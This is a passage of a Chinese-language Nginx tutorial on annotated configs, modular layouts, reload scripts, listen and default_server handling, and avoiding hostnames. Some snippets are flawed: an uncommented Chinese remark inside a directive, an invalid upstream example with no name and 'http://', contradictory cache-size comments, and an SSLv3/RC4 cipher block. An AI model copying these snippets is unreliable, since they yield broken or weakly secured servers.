    #proxy_cache_path /var/tmp/nginx/proxy_cache levels=1:2 keys_zone=cache_one:512m inactive=10m max_size=64m;
    ###以上 proxy_temp 和 proxy_cache 需要在同一个分区中
    ###levels=1:2 表示缓存级别，表示缓存目录的第一级目录是 1 个字符，第二级目录是 2 个字符 keys_zone=cache_one:128m 缓存空间起名为 cache_one 大小为 512m
    ###max_size=64m 表示单个文件超过 128m 就不缓存了  inactive=10m 表示缓存的数据，10 分钟内没有被访问过就删除
    #########end####################

    #####对传输文件压缩###########
    #gzip 模块设置
    gzip on; #开启 gzip 压缩输出
    gzip_min_length 1k; #最小压缩文件大小
    gzip_buffers 4 16k; #压缩缓冲区
    gzip_http_version 1.0; #压缩版本（默认 1.1，前端如果是 squid2.5 请使用 1.0）
    gzip_comp_level 2; #压缩等级，gzip 压缩比，1 为最小，处理最快；9 为压缩比最大，处理最慢，传输速度最快，也最消耗 CPU；
    gzip_types text/plain application/x-javascript text/css application/xml;
    #压缩类型，默认就已经包含 text/html，所以下面就不用再写了，写上去也不会有问题，但是会有一个 warn。
    gzip_vary on;
    ##############################

    #limit_zone crawler $binary_remote_addr 10m; #开启限制 IP 连接数的时候需要使用

    upstream blog.ha97.com {
        #upstream 的负载均衡，weight 是权重，可以根据机器配置定义权重。weigth 参数表示权值，权值越高被分配到的几率越大。
        server 192.168.80.121:80 weight=3;
        server 192.168.80.122:80 weight=2;
        server 192.168.80.123:80 weight=3;
    }

    #虚拟主机的配置
    server {
        #监听端口
        listen 80;

        #############https##################
        #listen 443 ssl;
        #ssl_certificate /opt/https/xxxxxx.crt;
        #ssl_certificate_key /opt/https/xxxxxx.key;
        #ssl_protocols SSLv3 TLSv1;
        #ssl_ciphers HIGH:!ADH:!EXPORT57:RC4+RSA:+MEDIUM;
        #ssl_prefer_server_ciphers on;
        #ssl_session_cache shared:SSL:2m;
        #ssl_session_timeout 5m;
        ####################################end

        #域名可以有多个，用空格隔开
        server_name www.ha97.com ha97.com;
        index index.html index.htm index.php;
        root /data/www/ha97;
        location ~ .*.(php|php5)?$ {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            include fastcgi.conf;
        }

        #图片缓存时间设置
        location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$ {
            expires 10d;
        }

        #JS 和 CSS 缓存时间设置
        location ~ .*.(js|css)?$ {
            expires 1h;
        }

        #日志格式设定
        log_format access '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" $http_x_forwarded_for';

        #定义本虚拟主机的访问日志
        access_log /var/log/nginx/ha97access.log access;

        #对 "/" 启用反向代理
        location / {
            proxy_pass http://127.0.0.1:88;
            proxy_redirect off;
            proxy_set_header X-Real-IP $remote_addr;
            #后端的 Web 服务器可以通过 X-Forwarded-For 获取用户真实 IP
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            #以下是一些反向代理的配置，可选。
            proxy_set_header Host $host;
            client_max_body_size 10m; #允许客户端请求的最大单文件字节数
            client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数，

            ##代理设置 以下设置是 nginx 和后端服务器之间通讯的设置##
            proxy_connect_timeout 90; #nginx 跟后端服务器连接超时时间（代理连接超时）
            proxy_send_timeout 90; #后端服务器数据回传时间（代理发送超时）
            proxy_read_timeout 90; #连接成功后，后端服务器响应时间（代理接收超时）
            proxy_buffering on;    #该指令开启从后端被代理服务器的响应内容缓冲 此参数开启后 proxy_buffers 和 proxy_busy_buffers_size 参数才会起作用
            proxy_buffer_size 4k;  #设置代理服务器（nginx）保存用户头信息的缓冲区大小
            proxy_buffers 4 32k;   #proxy_buffers 缓冲区，网页平均在 32k 以下的设置
            proxy_busy_buffers_size 64k; #高负荷下缓冲大小（proxy_buffers*2）
            proxy_max_temp_file_size 2048m; #默认 1024m, 该指令用于设置当网页内容大于 proxy_buffers 时，临时文件大小的最大值。如果文件大于这个值，它将从 upstream 服务器同步地传递请求，而不是缓冲到磁盘
            proxy_temp_file_write_size 512k; 这是当被代理服务器的响应过大时 nginx 一次性写入临时文件的数据量。
            proxy_temp_path  /var/tmp/nginx/proxy_temp;    ##定义缓冲存储目录，之前必须要先手动创建此目录
            proxy_headers_hash_max_size 51200;
            proxy_headers_hash_bucket_size 6400;
            #######################################################
        }

        #设定查看 nginx 状态的地址
        location /nginxStatus {
            stub_status on;
            access_log on;
            auth_basic "nginxStatus";
            auth_basic_user_file conf/htpasswd;
            #htpasswd 文件的内容可以用 apache 提供的 htpasswd 工具来产生。
        }

        #本地动静分离反向代理配置
        #所有 jsp 的页面均交由 tomcat 或 resin 处理
        location ~ .(jsp|jspx|do)?$ {
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://127.0.0.1:8080;
        }

        #所有静态文件由 nginx 直接读取不经过 tomcat 或 resin
        location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt|pdf|xls|mp3|wma)$
        { expires 15d; }

        location ~ .*.(js|css)?$
        { expires 1h; }
    }
}
```

## 基本规则

随着 Nginx 配置的增长，您有必要组织、管理配置内容。

使用 `include` 指令可将常用服务器配置移动到单独的文件中，并将特定代码附加到全局配置，上下文等中。

```nginx
/etc/nginx/
├── nginx.conf                      # 主入口文件，保持极简
├── conf.d/                         # 动态加载的配置片段（谨慎使用）
├── sites-available/                # 所有可用的虚拟主机配置（符号链接源）
├── sites-enabled/                  # 已启用的虚拟主机（符号链接到 available）
│
├── master/                         # 核心全局配置库 (您的核心思想)
│   ├── 00-global/                  # 最基础的、被最先加载的配置
│   │   ├── nginx.conf.part         # 主配置中 http 块内的内容
│   │   ├── security.conf           # 基础安全头、策略
│   │   └── performance.conf        # 全局性能参数 (sendfile, buffer等)
│   │
│   ├── 10-acls/                    # 访问控制与变量定义
│   │   ├── geolocation.conf        # 国家/地区代码映射
│   │   ├── bots.conf               # 爬虫、扫描器 User-Agent 黑名单
│   │   ├── whitelist.conf          # IP/网段白名单 (如管理后台)
│   │   └── map.conf                # 各种 map 指令 (如重定向映射)
│   │
│   ├── 20-listen/                  # 监听指令与 SSL 配置
│   │   ├── http.conf               # 80 端口通用配置
│   │   ├── https.conf              # 443 端口通用 SSL 配置 (协议、加密套件)
│   │   └── ssl/                    # 域名 SSL 证书配置
│   │       ├── example.com.conf
│   │       └── app.example.com.conf
│   │
│   ├── 30-upstreams/               # 后端服务/上游定义
│   │   ├── backend_php.conf
│   │   ├── backend_nodejs.conf
│   │   └── backend_python.conf
│   │
│   ├── 40-servers/                 # 虚拟主机配置块 (server {})
│   │   ├── templates/              # 配置模板
│   │   │   ├── php_app.conf.template
│   │   │   ├── static_site.conf.template
│   │   │   └── reverse_proxy.conf.template
│   │   └── enabled/                # 实际启用的 server 配置
│   │       ├── example.com.conf
│   │       └── app.example.com.conf
│   │
│   ├── 50-locations/               # 可复用的 location 片段
│   │   ├── location_php.conf
│   │   ├── location_static.conf
│   │   └── location_proxy.conf
│   │
│   └── 60-logging/                 # 日志格式与配置
│       ├── log_formats.conf
│       └── error_pages.conf
│
├── modules/                        # 动态模块配置
├── snippets/                       # 通用的、简短的配置片段 (Nginx 社区常用名)
├── html/                           # 默认静态文件根目录
│   ├── 50x.html                    # 自定义错误页面
│   └── maintenance.html            # 维护页面
│
├── certs/ -> /etc/ssl/private/nginx/ # 证书目录 (符号链接)
└── scripts/                        # 维护脚本
    ├── deploy-cert.sh
    ├── enable-site.sh
    └── check-config.sh
```

**主配置文件 (`nginx.conf`)**

```nginx
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /run/nginx.pid;

# 动态模块加载
load_module modules/ngx_http_geoip_module.so;

events {
    worker_connections 1024;
    use epoll;
}

http {
    # 按顺序加载核心配置库
    include /etc/nginx/master/00-global/nginx.conf.part;
    include /etc/nginx/master/10-acls/*.conf;
    include /etc/nginx/master/20-listen/*.conf;
    include /etc/nginx/master/30-upstreams/*.conf;
    include /etc/nginx/master/60-logging/*.conf;

    # 加载所有启用的虚拟主机配置
    include /etc/nginx/master/40-servers/enabled/*.conf;

    # 兼容性：可包含传统位置的配置
    include /etc/nginx/conf.d/*.conf;
}
```

**虚拟主机配置 (`master/40-servers/enabled/example.com.conf`)**

```nginx
# 现代、模块化的 Server 配置示例
server {
    # 1. 包含监听和SSL配置 (IP:Port + TLS)
    include /etc/nginx/master/20-listen/ssl/example.com.conf;

    server_name example.com www.example.com;

    # 2. 包含全局助手 (安全头、错误页面、基础设置)
    include /etc/nginx/master/00-global/security.conf;
    include /etc/nginx/master/60-logging/error_pages.conf;

    # 3. 根路径和日志设置
    root /var/www/example.com/public;
    access_log /var/log/nginx/example.com.access.log main;
    error_log /var/log/nginx/example.com.error.log;

    # 4. 包含可复用的 Location 块
    include /etc/nginx/master/50-locations/location_static.conf;
    include /etc/nginx/master/50-locations/location_php.conf;

    # 5. 特定于此站点的 Location 块
    location /api/ {
        include /etc/nginx/master/50-locations/location_proxy.conf;
        proxy_pass http://backend_api;
    }

    location /admin/ {
        include /etc/nginx/master/10-acls/whitelist.conf; # 应用IP白名单
        deny all; # 默认拒绝所有
        try_files $uri $uri/ /index.php?$query_string;
    }

    # 6. 最终兜底规则
    location / {
        try_files $uri $uri/ /index.html;
    }
}
```

**SSL 配置片段 (`master/20-listen/ssl/example.com.conf`)**

```nginx
listen 443 ssl http2;
listen [::]:443 ssl http2;

ssl_certificate /etc/nginx/certs/example.com/fullchain.pem;
ssl_certificate_key /etc/nginx/certs/example.com/privkey.pem;

# 包含现代 SSL 安全配置
include /etc/nginx/master/20-listen/https.conf;
```

**最佳实践**：

**版本控制**

* 将整个 `/etc/nginx/` 目录（除了大文件证书和日志）纳入 Git 版本控制。
* 使用 `.gitignore` 忽略 `sites-enabled/`, `conf.d/`, `certs/` (仅保留模板或样例)。

**基础设施即代码 (IaC)**

* 使用 Ansible, Chef, Puppet 或 SaltStack 来自动化此配置结构的部署和同步。

**配置验证与自动化**

* **`scripts/check-config.sh`**:

```nginx
#!/bin/bash
echo "Checking Nginx configuration..."
if ! nginx -t; then
    echo "ERROR: Nginx configuration test failed!"
    exit 1
fi
echo "Configuration is valid."
```

* **`scripts/enable-site.sh`**:

```nginx
#!/bin/bash
SITE=$1
ln -sf ../sites-available/$SITE.conf /etc/nginx/sites-enabled/
nginx -t && systemctl reload nginx
```

**安全强化**

* 在 `master/00-global/security.conf` 中集中设置安全头 (如 CSP, HSTS)。
* 使用 `master/10-acls/bots.conf` 管理恶意爬虫。
* 定期通过 `ssl-config.mozilla.org` 更新 `master/20-listen/https.conf`。

**环境管理**

* 使用模板和变量（如果使用 OpenResty 或 Nginx+）来管理不同环境（开发、预生产、生产）的差异。
* 或者，在 CI/CD 流水线中，使用工具（如 `envsubst`）在部署时渲染配置文件。

**文档**

* 在每个目录下放置 `README.md`，说明该目录下配置的用途和依赖关系。
* 在复杂的配置文件中使用清晰的注释，说明为何这样配置（而不仅仅是做了什么）。

## 重加载 Nginx 配置

```bash
systemctl reload nginx
```

**说明**：现代 Linux 系统（Systemd）的标准服务管理命令

**适用系统**：CentOS 7+、Ubuntu 16.04+、Debian 8+

**优点**：标准化、有状态反馈、与系统服务管理集成

```bash
service nginx reload
```

**说明**：传统的服务管理命令，通常是 Systemd 或 SysVinit 的包装器

**适用系统**：多数 Linux 发行版（向后兼容）

**实际效果**：通常转发到 `systemctl reload nginx`

```bash
/etc/init.d/nginx reload
```

**说明**：SysVinit 系统的直接服务脚本调用

**适用系统**：较老的 Linux 系统（CentOS 6、Debian 7 等）

**现代系统**：通常作为兼容层存在

```bash
/usr/sbin/nginx -s reload
```

**说明**：Nginx 二进制文件的直接信号命令

**原理**：向 Nginx master 进程发送 `reload` 信号

**等效命令**：`nginx -s reload`

```bash
kill -HUP $(cat /var/run/nginx.pid)
## 或
kill -HUP $(pgrep -f "nginx: master")
```

**说明**：直接向 Nginx master 进程发送 HUP (Hang UP) 信号

**原理**：`-s reload` 的内部实现就是发送 HUP 信号

**注意**：需要确保获取到正确的 master 进程 PID

```bash
/usr/sbin/nginx -g 'daemon on; master_process on;' -s reload
```

**完整路径带参数的重加载**

**说明**：指定全局参数并执行重加载（不常见）

**适用场景**：特殊调试或非标准安装环境

**工作原理**

所有重加载方法的核心原理都是向 Nginx **master 进程** 发送信号，触发以下流程：

1. **检查配置语法**：`nginx -t` 的等效验证
2. **启动新 worker**：用新配置启动新的 worker 进程
3. **优雅关闭旧 worker**：通知旧 worker 处理完当前请求后退出
4. **平滑过渡**：实现零停机时间的配置更新

**现代最佳实践推荐**

```bash
# 1. 先测试配置语法
sudo nginx -t

# 2. 执行重加载（推荐）
sudo systemctl reload nginx

# 3. 验证服务状态
sudo systemctl status nginx
```

**备用方案（调试环境）**

```bash
# 直接使用 nginx 命令
sudo nginx -s reload

# 或指定配置文件
sudo nginx -c /etc/nginx/nginx.conf -s reload
```

**完整的安全重加载流程**

```bash
#!/bin/bash
echo "=== Nginx 配置重加载流程 ==="

# 1. 备份当前配置
echo "1. 备份配置..."
sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.backup.$(date +%Y%m%d_%H%M%S)

# 2. 语法检查
echo "2. 检查配置语法..."
if ! sudo nginx -t; then
    echo "❌ 配置语法错误，请检查配置文件"
    exit 1
fi

# 3. 重加载配置
echo "3. 重加载 Nginx..."
if sudo systemctl reload nginx; then
    echo "✅ Nginx 重加载成功"
else
    echo "❌ 重加载失败，恢复备份..."
    sudo cp /etc/nginx/nginx.conf.backup.* /etc/nginx/nginx.conf
    sudo systemctl reload nginx
fi

# 4. 验证服务状态
echo "4. 检查服务状态..."
sudo systemctl status nginx --no-pager -l
```

**信号对比**

| 信号          | 命令等价 | 作用                 |
| ------------- | -------- | -------------------- |
| `HUP`         | `reload` | 重加载配置，平滑重启 |
| `QUIT`        | `quit`   | 优雅关闭             |
| `TERM`, `INT` | `stop`   | 立即停止             |
| `USR1`        | `reopen` | 重新打开日志文件     |
| `USR2`        | -        | 升级可执行文件       |
| `WINCH`       | -        | 优雅关闭 worker 进程 |

**注意事项**

1. **权限要求**：通常需要 `sudo` 或 `root` 权限
2. **配置验证**：重加载前务必执行 `nginx -t` 检查语法
3. **工作进程**：只影响 worker 进程，master 进程保持运行
4. **连接保持**：现有连接不会中断，实现平滑重载
5. **路径差异**：Nginx 二进制路径可能不同（`which nginx` 查看）

**故障排查**

如果重加载失败：

```bash
# 查看错误详情
sudo nginx -t
sudo journalctl -u nginx -f
sudo tail -f /var/log/nginx/error.log
```

**真正的"无感"更新条件**

```bash
#!/bin/bash
set -e  # 遇到错误立即退出

echo "=== Nginx 配置重加载流程 ==="
BACKUP_DIR="/etc/nginx/backup/$(date +%Y%m%d_%H%M%S)"
CURRENT_RESTORE_BACKUP=""

# 1. 完整备份配置
echo "1. 备份完整配置..."
sudo mkdir -p "$BACKUP_DIR"
sudo cp -a /etc/nginx/* "$BACKUP_DIR/" 2>/dev/null || true
echo "   配置已备份到: $BACKUP_DIR"
CURRENT_RESTORE_BACKUP="$BACKUP_DIR"

# 2. 详细语法检查
echo "2. 检查配置语法..."
if ! sudo nginx -t 2>&1; then
    echo "❌ 配置语法错误，请检查以下问题："
    echo "   1. 括号是否匹配"
    echo "   2. 指令语法是否正确" 
    echo "   3. 文件路径是否存在"
    exit 1
fi

# 3. 预检查：测试关键功能
echo "3. 执行预检查..."
# 检查关键服务是否可达（如果有代理配置）
if grep -q "proxy_pass" /etc/nginx/nginx.conf; then
    echo "   ⚠️  检测到代理配置，请确保后端服务正常"
fi

# 4. 重加载配置
echo "4. 重加载 Nginx..."
if sudo systemctl reload nginx; then
    echo "✅ Nginx 重加载成功"
    
    # 5. 健康检查
    echo "5. 执行健康检查..."
    sleep 2  # 等待 worker 进程完全切换
    
    # 检查 Nginx 是否正常响应
    if curl -f -s -o /dev/null -w "%{http_code}" http://localhost/nginx_status > /dev/null 2>&1; then
        echo "✅ 服务健康检查通过"
    else
        echo "⚠️  健康检查异常，但服务正在运行"
    fi
    
else
    echo "❌ 重加载失败，正在恢复备份..."
    if [ -n "$CURRENT_RESTORE_BACKUP" ]; then
        sudo cp -a "$CURRENT_RESTORE_BACKUP"/* /etc/nginx/
        sudo systemctl reload nginx
        echo "✅ 配置已恢复，服务已重启"
    else
        echo "❌ 无法恢复备份，请手动检查"
        exit 1
    fi
fi

# 6. 最终状态验证
echo "6. 检查服务状态..."
sudo systemctl status nginx --no-pager -l

# 7. 显示 worker 进程信息
echo "7. Worker 进程状态:"
sudo ps aux | grep "nginx: worker" | grep -v grep || echo "   无 worker 进程信息"
```

**新脚本的主要改进总结**

**备份机制全面增强**

* **从单个文件备份 → 完整目录备份** (`cp -a /etc/nginx/*`)
* **创建结构化备份目录** (按时间戳组织)
* **备份路径记录** (`CURRENT_RESTORE_BACKUP` 变量)

**错误处理更加健壮**

* **`set -e` 指令** - 遇到错误立即退出，避免后续问题
* **备份恢复逻辑完善** - 确保能找到正确的备份文件
* **错误信息更详细** - 具体提示语法错误的可能原因

**健康检查体系建立**

* **预检查阶段** - 检测代理配置等关键功能
* **健康检查阶段** - 使用 curl 实际测试服务可用性
* **进程状态检查** - 验证 worker 进程正常运行

**执行流程更加严谨**

* **等待时间** (`sleep 2`) - 确保 worker 进程完全切换
* **状态验证** - 多维度检查服务状态
* **信息反馈** - 每个步骤都有明确的状态输出

## 监听 80 和 443 端口

在 Nginx 中如何优雅地处理 **HTTP (80端口)** 和 **HTTPS (443端口)** 的监听配置，有两种不同的实践思路。

当使用完全相同的配置同时服务 HTTP 和 HTTPS 时（即单个 `server` 块同时监听 80 和 443 端口），Nginx 具备足够的智能：通过端口 80 接收的 HTTP 请求会自动忽略所有 SSL 相关的指令。

**这意味着**：你可以写一份配置，同时监听两个端口，Nginx 会根据访问的端口自动判断是否启用 SSL。

然而，社区推崇的最佳实践是：**使用独立的 `server` 块分别处理 HTTP 和 HTTPS**。

* 专门用一个 `server` 块处理 HTTP 到 HTTPS 的重定向，配置应尽可能简单、硬编码，避免使用正则表达式。
* 另一个 `server` 块则专注于处理主要的 HTTPS 业务逻辑。

**优点**：

* **维护性**：职责分离，修改重定向规则不会影响主业务逻辑。
* **清晰性**：配置意图明确，易于理解和调试。
* **可靠性**：硬编码规则比复杂正则更稳定。

**这在多域名托管（虚拟主机）时尤其有用**：你可以将同一个监听指令（如 `listen 10.240.20.2:80;`）轻松复用到多个域的配置中，实现一个 IP 地址绑定多个域名。

对于 HTTPS，配置通常需要"硬编码"域名。因为你必须**预先明确**要为哪个域名提供相应的 SSL 证书。

**关键要点总结**

1. **智能兼容**：Nginx 能自动忽略非 HTTPS 端口上的 SSL 指令，允许单一配置处理双协议，但这不是最佳实践。
2. **职责分离原则**：最佳实践是使用两个独立的 `server` 块：
   * **一个用于重定向**：监听 80 端口，唯一职责是将 HTTP 流量 301 重定向到 HTTPS。
   * **一个用于主服务**：监听 443 端口，配置 SSL，处理所有业务逻辑。
3. **配置策略**：重定向部分的配置应简单、硬编码、避免正则表达式，以提升性能和可靠性。
4. **多域名托管**：分离监听指令的架构，更易于在单一 IP 上管理多个 HTTPS 域名（SNI）。
5. **HTTPS 的确定性**：由于 SSL 证书与特定域名绑定，HTTPS 的 `server` 块配置通常需要明确指定域名。

**标准配置范例**

```nginx
# 1. HTTP 重定向服务器 (最佳实践：独立且简单)
server {
    listen 80;
    server_name example.com www.example.com;
    # 硬编码重定向，避免复杂逻辑
    return 301 https://example.com$request_uri;
}

# 2. HTTPS 主服务器 (专注于业务逻辑)
server {
    listen 443 ssl http2;
    server_name example.com www.example.com;

    # SSL 配置必须硬编码指定证书路径
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/private.key;

    # ... 主业务配置 ...
}
```

```nginx
# 专用重定向服务器 - 统一管理所有 HTTP 到 HTTPS
server {
    listen 80;
    server_name _;  # 匹配所有域名
  # server_name *.example.com;
    
    # 统一重定向到 HTTPS
    return 301 https://$host$request_uri;
}

# 或者针对特定域名组
server {
    listen 80;
    server_name example.com www.example.com api.example.com;
    
    return 301 https://$server_name$request_uri;
}
```

当新增域名时：

* **统一管理**：自动继承重定向规则，无需额外配置
* **分散管理**：每个新域名都要手动添加重定向配置

**多域名统一重定向**

```nginx
# 单个 Server 块处理所有域名的 HTTP 重定向
server {
    listen 80;
    server_name 
        example.com
        www.example.com
        api.example.com
        shop.example.com
        *.example.com;
    
    # 所有域名统一跳转到 HTTPS
    return 301 https://$host$request_uri;
}
```

**分散重定向（不推荐）**

```nginx
# 每个域名单独配置 - 维护麻烦
server {
    listen 80;
    server_name example.com;
    return 301 https://example.com$request_uri;
}

server {
    listen 80; 
    server_name api.example.com;
    return 301 https://api.example.com$request_uri;
}

server {
    listen 80;
    server_name blog.example.com;
    return 301 https://blog.example.com$request_uri;
}
```

**Nginx 的 server\_name 匹配优先级**

Nginx 按以下顺序选择 `server` 块：

1. **精确匹配** `server_name example.com;`
2. **通配符前缀** `server_name *.example.com;`
3. **通配符后缀** `server_name example.*;`
4. **正则表达式** `server_name ~^www\.example\.com$;`
5. **默认服务器** `server_name _;` 或 `default_server`

**`server_name _`** 只匹配**没有其他更具体配置**的请求

**不会"自动继承"** - 如果有更具体的 `server_name` 匹配，就会绕过通用规则

**真正的统一管理**需要：要么显式列出所有域名，要么确保没有其他冲突的 `server` 块

## DNS有A记录，但Nginx未配置该域名

**显示结果**：

**会显示Nginx默认的欢迎页面，或者第一个匹配的server块内容**

```nginx
# 如果有这样的配置：
server {
    listen 80;
    server_name example.com;  # 配置了example.com
}

server {
    listen 80 default_server;  # 或者 server_name _;
    # 这是默认服务器，会捕获所有未明确配置的域名
}
```

假设：

DNS：`unknown-domain.com` → `192.168.1.100`

Nginx配置：

```nginx
server {
    listen 80;
    server_name example.com;
    return 200 "Hello example.com";
}

server {
    listen 80 default_server;
    return 404 "Domain not configured";
}
```

## 直接访问服务器IP

**会显示标记为 `default_server` 的server块内容，或者第一个listen块**

```nginx
# 情况A：有明确的default_server
server {
    listen 80 default_server;
    return 200 "This is the default server";
}

server {
    listen 80;
    server_name example.com;
    return 200 "Hello example.com";
}
```

直接访问IP显示：`"This is the default server"`

## 拒绝未知域名和IP直接访问

```nginx
# 专用默认服务器，拒绝所有未知请求
server {
    listen 80 default_server;
    listen 443 ssl default_server;
    
    ssl_certificate /path/to/default/cert.pem;
    ssl_certificate_key /path/to/default/key.pem;
    
    # 返回444会直接关闭连接，不发送任何内容
    return 444;
    
    # 或者返回自定义错误页
    # return 404 "Domain not found";
}

# 正常的业务服务器
server {
    listen 80;
    server_name example.com;
    # 正常业务逻辑...
}
```

**显示维护页面**

```nginx
server {
    listen 80 default_server;
    root /var/www/default;
    
    location / {
        # 显示友好的默认页面
        try_files $uri $uri/ /index.html;
    }
}
```

**跳转到主域名**

```nginx
server {
    listen 80 default_server;
    # 所有未知域名和IP访问都跳转到主站
    return 301 https://www.company.com;
}
```

## 显示指定监听的地址和端口

**listen 指令的灵活性**

* **完整格式**：`listen <address>:<port>`
* **自动补全**：如果省略 IP 或端口，Nginx 会用默认值填充
* **示例解析**：
  * `listen 192.168.252.10;` → 补全为 `192.168.252.10:80`
  * `listen 80;` → 补全为 `*:80` 或 `0.0.0.0:80`（监听所有IP）

**server\_name 的评估时机**

* **条件限制**：只有在 `listen` 指令**同一级别匹配**时，才会评估 `server_name`
* **匹配顺序**：先按 `listen` 筛选，再按 `server_name` 精确匹配

**常规网站配置**

```nginx
# 99% 的网站只需要这样配置
server {
    listen 80;      # HTTP 默认端口
    listen 443 ssl; # HTTPS 默认端口
    server_name example.com;
    # ... 业务配置 ...
}
```

**特殊情况使用特定IP:端口**

只有在特定场景下才需要指定具体IP和端口：

**场景1：管理后台/敏感服务**

```nginx
# 管理后台只在内网特定IP监听
server {
    listen 192.168.1.100:8080;  # 非标准端口 + 内网IP
    server_name admin.example.com;
    # 管理面板配置...
}
```

**场景2：多IP服务器**

```nginx
# 服务器有多个IP，不同服务绑定不同IP
server {
    listen 203.0.113.10:80;     # 主网站IP
    server_name example.com;
}

server {
    listen 203.0.113.20:80;     # 备用IP或特定服务IP
    server_name api.example.com;
}
```

**场景3：开发测试环境**

```nginx
# 开发环境使用非标准端口
server {
    listen 127.0.0.1:3000;      # 本地开发
    server_name localhost;
}
```

**标准配置**（推荐）

```nginx
# 面向公网的Web服务
server {
    listen 80;
    listen 443 ssl;
    server_name example.com www.example.com;
    # SSL证书、业务逻辑...
}
```

**特殊配置**（按需使用）

```nginx
# 只有真正需要时才指定IP和端口
server {
    listen 192.168.1.100:8443;  # 内网管理面板
    server_name admin.internal.com;
    # 额外的安全配置...
}
```

```nginx
listen 443 ssl;
```

监听 443 端口并启用 SSL 协议。

就是说：

* `listen 443` - 监听 443 端口（HTTPS 默认端口）
* `ssl` - 告诉 Nginx 在这个端口上使用 SSL/TLS 加密

简单说就是：**这个服务器块专门处理 HTTPS 加密请求**。

没有 `ssl` 参数就是普通 HTTP，有 `ssl` 就是加密的 HTTPS。

**`listen 443 ssl` 就是明确告诉 Nginx：**"在这个 443 端口上，必须使用 HTTPS 协议，给我走 SSL/TLS 加密流程。"

虽然 443 默认就是 HTTPS 端口，但 Nginx 要求你**显式地加上 `ssl` 参数**，它才会启用 SSL 处理。

没有 `ssl` 的话，Nginx 在 443 端口上就不知道要处理 SSL 握手、解密等操作。

## 防止使用未定义的服务器名称处理请求

Nginx 需要正确处理未定义服务器名称或使用 IP 地址的请求，防止配置错误导致流量被错误转发。

**核心机制**

* **默认服务器规则**：如果没有明确设置 `default_server` 参数，Nginx 会自动将第一个 `address:port` 配对的服务器作为默认服务器
* **请求匹配逻辑**：基于 HTTP Host 头进行服务器匹配，不依赖 TLS SNI
* **IP 地址请求**：当客户端使用 IP 访问时，Host 头包含 IP 地址，Nginx 会尝试将其作为服务器名匹配

**推荐配置方案**

```nginx
## 默认服务器配置，放置在配置文件开头
server {
    ## 关键参数：default_server 标记此服务器为默认
    listen 10.240.20.2:443 default_server ssl;
    
    ## 匹配所有请求：无效域名、无 Host 头、其他未匹配请求
    server_name _ "" default_server;
    
    ## 处理方式（三选一）：
    ## 1. 直接关闭连接
    return 444;
    
    ## 2. 返回错误页面
    # location / {
    #     root /etc/nginx/error-pages/404;
    # }
    
    ## 3. 重定向到指定页面
    # return 301 https://example.com;
}

## 正常业务服务器配置
server {
    listen 10.240.20.2:443 ssl;
    server_name domain.com;
    ...
}

server {
    listen 10.240.20.2:443 ssl;
    server_name domain.org;
    ...
}
```

**SSL 要求**：SSL 服务器必须配置证书和密钥（即使是自签名的）

**显式声明**：在多文件配置中，建议显式标记默认服务器以避免不确定性

`server_name _ "" default_server` 中的 `default_server` 仅为提高可读性，实际功能由 `listen` 指令的 `default_server` 参数控制

## 避免在 listen 或 upstream 中使用主机名

在 Nginx 配置中，应始终使用 IP 地址而非主机名来定义 `listen` 指令和 `upstream` 服务器地址。

**错误做法及风险：**

```nginx
upstream {
  server http://x-9s-web01-prod:8080;  # 使用主机名
}

server {
  listen rev-proxy-prod:80;  # 使用主机名
  ...
}
```

**启动失败**：如果 DNS 解析失败，Nginx 将无法绑定 TCP 端口，导致服务完全无法启动

**依赖脆弱**：增加对外部/内部 DNS 解析器的依赖，引入单点故障

**调试困难**：DNS 问题导致的错误往往难以追踪和诊断

**性能损耗**：每次都需要进行域名解析，增加不必要的开销

**正确配置方案：**

```nginx
upstream {
  server http://192.168.252.200:8080;  # 使用明确的 IP 地址
}

server {
  listen 10.10.100.20:80;  # 使用明确的 IP 地址和端口
  ...
}
```

**明确性**：始终使用 `IP:端口` 格式，避免任何形式的主机名引用

**独立性**：消除对外部解析服务的依赖，确保配置自包含

**可靠性**：防止因 DNS 问题导致的启动失败或运行时错误

**性能优化**：减少解析开销，提升响应速度

**扩展提醒**

* 同样应避免在 `server_name` 指令中使用 `$hostname` 变量
* 确保所有网络端点都使用静态 IP 地址定义
* 在容器化环境中，使用服务发现的 IP 地址而非服务名称

**补充**：

以上建议是在**大多数常见的 Nginx 部署场景**下给出的最佳实践。通常情况下，Nginx 是部署在物理服务器、虚拟机或普通内网环境中，此时：

* `upstream` 中写主机名（hostname），例如 `x-9s-web01-prod`，会触发 DNS 解析依赖；
* `listen` 中写主机名更是不合理，系统无法将 Socket 绑定到一个需要解析的主机名；
* 这些都会增加部署不确定性，因此**推荐使用固定的 IP 地址**来确保稳定性。

**那什么时候才会有人写主机名？**

只有在**以下环境里**才可能用到主机名或服务名：

| 场景                             | 解释                                                         |
| -------------------------------- | ------------------------------------------------------------ |
| 内网 DNS 系统                    | 大型企业内部维护了企业级 DNS，用 hostname 访问               |
| 容器集群（Docker Compose/Swarm） | 服务名可以自动解析，比如 `backend:5000`                      |
| Kubernetes 服务发现              | 通过 Service 名访问，如 `user-service.default.svc.cluster.local` |
| Consul / Eureka / Nacos          | 分布式服务发现系统动态注册服务                               |

这些系统内部确实支持用主机名或服务名访问后端服务，因为它们有自己的 **服务发现 + 内部 DNS**。

如果你真的想用域名，必须做到：

* 本地或服务器内必须运行 DNS 解析服务（CoreDNS、Bind9、dnsmasq）
* 保证 Nginx 启动时 DNS 可用，否则启动失败
* 需要有 fallback 或 IP 直连兜底机制
* 有 DevOps 团队负责维护 DNS 服务稳定

**总结这段补充**：

不推荐在普通 Nginx 部署环境中使用主机名做 upstream 或 listen（因为需要依赖 DNS）。

如果真的要用主机名，那你必须有稳定的**内部 DNS 服务**或运行在**容器集群/服务发现系统**里，否则就是坑。

## 单一 SSL 配置最佳实践

